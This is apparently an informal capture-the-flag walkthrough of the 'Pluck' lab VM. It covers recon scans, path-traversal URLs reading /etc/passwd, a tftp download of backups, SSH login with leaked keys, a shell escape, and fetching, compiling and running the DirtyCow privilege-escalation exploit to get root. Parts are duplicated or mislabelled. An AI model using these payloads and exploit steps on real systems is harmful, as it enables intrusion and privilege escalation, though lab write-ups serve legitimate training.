pluck

6 Captured ARP Req/Rep packets, from 4 hosts. Total size: 360

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.31.1	00:50:56:c0:00:08	3	180	VMware, Inc.
192.168.31.2	00:50:56:e5:d7:98	1	60	VMware, Inc.
192.168.31.156	00:0c:29:b6:87:cc	1	60	VMware, Inc.
192.168.31.254	00:50:56:e2:76:45	1	60	VMware, Inc.

nmap

```
root@kali:~# nmap -Pn -n -A 192.168.31.156
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-16 11:46 EDT
Nmap scan report for 192.168.31.156
Host is up (0.00085s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e8:87:ba:3e:d7:43:23:bf:4a:6b:9d:ae:63:14:ea:71 (RSA)
|   256 8f:8c:ac:8d:e8:cc:f9:0e:89:f7:5d:a0:6c:28:56:fd (ECDSA)
|_  256 18:98:5a:5a:5c:59:e1:25:70:1c:37:1a:f2:c7:26:fe (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Pluck
3306/tcp open  mysql   MySQL (unauthorized)
MAC Address: 00:0C:29:B6:87:CC (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.85 ms 192.168.31.156

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.81 seconds
dir
```

nikto

```
root@kali:~# nmap -Pn -n -A 192.168.31.156
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-16 11:46 EDT
Nmap scan report for 192.168.31.156
Host is up (0.00085s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e8:87:ba:3e:d7:43:23:bf:4a:6b:9d:ae:63:14:ea:71 (RSA)
|   256 8f:8c:ac:8d:e8:cc:f9:0e:89:f7:5d:a0:6c:28:56:fd (ECDSA)
|_  256 18:98:5a:5a:5c:59:e1:25:70:1c:37:1a:f2:c7:26:fe (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Pluck
3306/tcp open  mysql   MySQL (unauthorized)
MAC Address: 00:0C:29:B6:87:CC (VMware)
Device type: general purpose
```

Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.85 ms 192.168.31.156

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.81 seconds

web vuln

http://192.168.31.156/index.php?page=../../../../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/falsesystemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/falsesystemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/falsesystemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/falsesyslog:x:104:108::/home/syslog:/bin/false_apt:x:105:65534::/nonexistent:/bin/falsemessagebus:x:106:109::/var/run/dbus:/bin/falsemysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/falselxd:x:108:65534::/var/lib/lxd/:/bin/falseuuidd:x:109:114::/run/uuidd:/bin/falsednsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/falsesshd:x:111:65534::/var/run/sshd:/usr/sbin/nologinpollinate:x:112:1::/var/cache/pollinate:/bin/falsebob:x:1000:1000:bob,,,:/home/bob:/bin/bashDebian-exim:x:113:119::/var/spool/exim4:/bin/falsepeter:x:1001:1001:,,,:/home/peter:/bin/bashpaul:x:1002:1002:,,,:/home/paul:/usr/bin/pdmenubackup-user:x:1003:1003:Just to make backups easier,,,:/backups:/usr/local/scripts/backup.sh

=----------

curl

url http://192.168.31.156/index.php?page=../../../../../../..//usr/local/scripts/backup.sh
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Pluck</title>
<link rel="stylesheet" href="/css/bootstrap.min.css">
<link rel="stylesheet" href="/css/bootstrap-theme.min.css">
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
</head>
<body>
<nav id="myNavbar" class="navbar navbar-default navbar-inverse navbar-fixed-top" role="navigation">
<!-- Brand and toggle get grouped for better mobile display -->

<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#navbarCollapse">
Toggle navigation

</button>
Pluck

```
      <!-- Collect the nav links, forms, and other content for toggling -->
      <div class="collapse navbar-collapse" id="navbarCollapse">
        <ul class="nav navbar-nav">
          <li><a href="/">Home</a></li>
          <li><a href="index.php?page=about.php">About</a></li>
          <li><a href="index.php?page=contact.php">Contact Us</a></li>
          <li><a href="admin.php">Admin</a></li>
        </ul>
      </div>
    </div>
</nav>
<div class="container">
<br><br><br><br>
          <div class=jumbotron>#!/bin/bash

#########################
# Server Backup script #
#########################

#Backup directories in /backups so we can get it via tftp

echo "Backing up data"
tar -cf /backups/backup.tar /home /var/www/html > /dev/null 2& > /dev/null
echo "Backup complete"
</div><br>    <hr>
    <div class="row">
      <div class="col-sm-12">
        <footer>
          <p>© Copyright 2017 Pluck</p>
        </footer>
      </div>
    </div>
</div>
</body>
</html>


root@kali:~# ]
```

backup data

http://192.168.31.156/index.php?page=../../../../../../usr/local/scripts/backup.sh

#!/bin/bash######################### Server Backup script #########################Backup directories in /backups so we can get it via tftpecho "Backing up data"tar -cf /backups/backup.tar /home /var/www/html > /dev/null 2& > /dev/nullecho "Backup complete"

```
root@kali:~#  tftp 192.168.31.156
tftp> get backup.tar
Received 1824718 bytes in 2.8 seconds
tftp>

root@kali:~# ls
17.pl     backup.tar  Downloads  hash.txt       Music     Public      Videos
42031.py  Desktop     file       hydra.restore  nmap.xml  result.xml
45000.c   Documents   file.txt   lol.pcap       Pictures  Templates
```

click me	click me
	wget http://192.168.1.115/index.php?page=/backups/backup.tar

tar -xf backup.rar

```
root@kali:~/Desktop/machine/pluck/home# ls -la *
bob:
total 20
drwxr-xr-x 2 1000 1000 4096 Jan 18  2017 .
drwxr-xr-x 5 root root 4096 Jan 18  2017 ..
-rw-r--r-- 1 1000 1000  220 Jan 18  2017 .bash_logout
-rw-r--r-- 1 1000 1000 3771 Jan 18  2017 .bashrc
-rw-r--r-- 1 1000 1000  655 Jan 18  2017 .profile
-rw-r--r-- 1 1000 1000    0 Jan 18  2017 .sudo_as_admin_successful

paul:
total 24
drwxr-xr-x 3 1002 1002 4096 Jan 18  2017 .
drwxr-xr-x 5 root root 4096 Jan 18  2017 ..
-rw-r--r-- 1 1002 1002  220 Jan 18  2017 .bash_logout
-rw-r--r-- 1 1002 1002 3771 Jan 18  2017 .bashrc
drwxrwxr-x 2 1002 1002 4096 Jan 18  2017 keys
-rw-r--r-- 1 1002 1002  655 Jan 18  2017 .profile

peter:
total 20
drwxr-xr-x 2 1001 1001 4096 Jan 18  2017 .
drwxr-xr-x 5 root root 4096 Jan 18  2017 ..
-rw-r--r-- 1 1001 1001  220 Jan 18  2017 .bash_logout
-rw-r--r-- 1 1001 1001 3771 Jan 18  2017 .bashrc
-rw-r--r-- 1 1001 1001  655 Jan 18  2017 .profile
root@kali:~/Desktop/machine/pluck/home#
```

```
root@kali:~/Desktop/machine/pluck/home# cd paul/keys/
root@kali:~/Desktop/machine/pluck/home/paul/keys# ls
id_key1  id_key1.pub  id_key2  id_key2.pub  id_key3  id_key3.pub  id_key4  id_key4.pub  id_key5  id_key5.pub  id_key6
id_key6.pub
```

since we are in paul user so we will go for this user

with ssh keys

try all with ssh -i id_key4 paul@192.168.31.156

edit the file

; /bin/bash

:q!

:q

boom !!!

```
shell returned 1

Press ENTER or type command to continue
$ ls
keys
$ bash
paul@pluck:~$
```

you got shell

---

uname -a

---

try dirty cow

https://www.exploit-db.com/exploits/40616

start python server -- download exploit in home directory

python -m SimpleHTTPServer 80

---

final root

cd /tmp

wget http://ip/shell.c

```
paul@pluck:/tmp$ gcc 40616.c -o cowroot -pthread
40616.c: In function ‘procselfmemThread’:
40616.c:99:17: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [-Wint-conversion]
        lseek(f,map,SEEK_SET);
              ^~~
In file included from 40616.c:28:0:
/usr/include/unistd.h:337:16: note: expected ‘__off_t {aka long int}’ but argument is of type ‘void *’
 extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
                ^~~~~
40616.c: In function ‘main’:
40616.c:136:5: warning: implicit declaration of function ‘asprintf’ [-Wimplicit-function-declaration]
    asprintf(&backup, "cp %s /tmp/bak", suid_binary);
    ^~~~~~~~
40616.c:140:5: warning: implicit declaration of function ‘fstat’ [-Wimplicit-function-declaration]
    fstat(f,&st);
    ^~~~~
40616.c:142:30: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘__off_t {aka long int}’ [-
Wformat=]
    printf("Size of binary: %d\n", st.st_size);
                            ^
paul@pluck:/tmp$ ls
40616.c
cowroot
systemd-private-20f0259ed0b54cfea5710e0fdd423e1e-systemd-timesyncd.service-prUOFh
paul@pluck:/tmp$ ./cowroot
DirtyCow root privilege escalation
Backing up /usr/bin/passwd.. to /tmp/bak
Size of binary: 54256
Racing, this may take a while..
thread stopped
/usr/bin/passwd is overwritten
Popping root shell.
Don't forget to restore /tmp/bak
thread stopped
root@pluck:/tmp#
```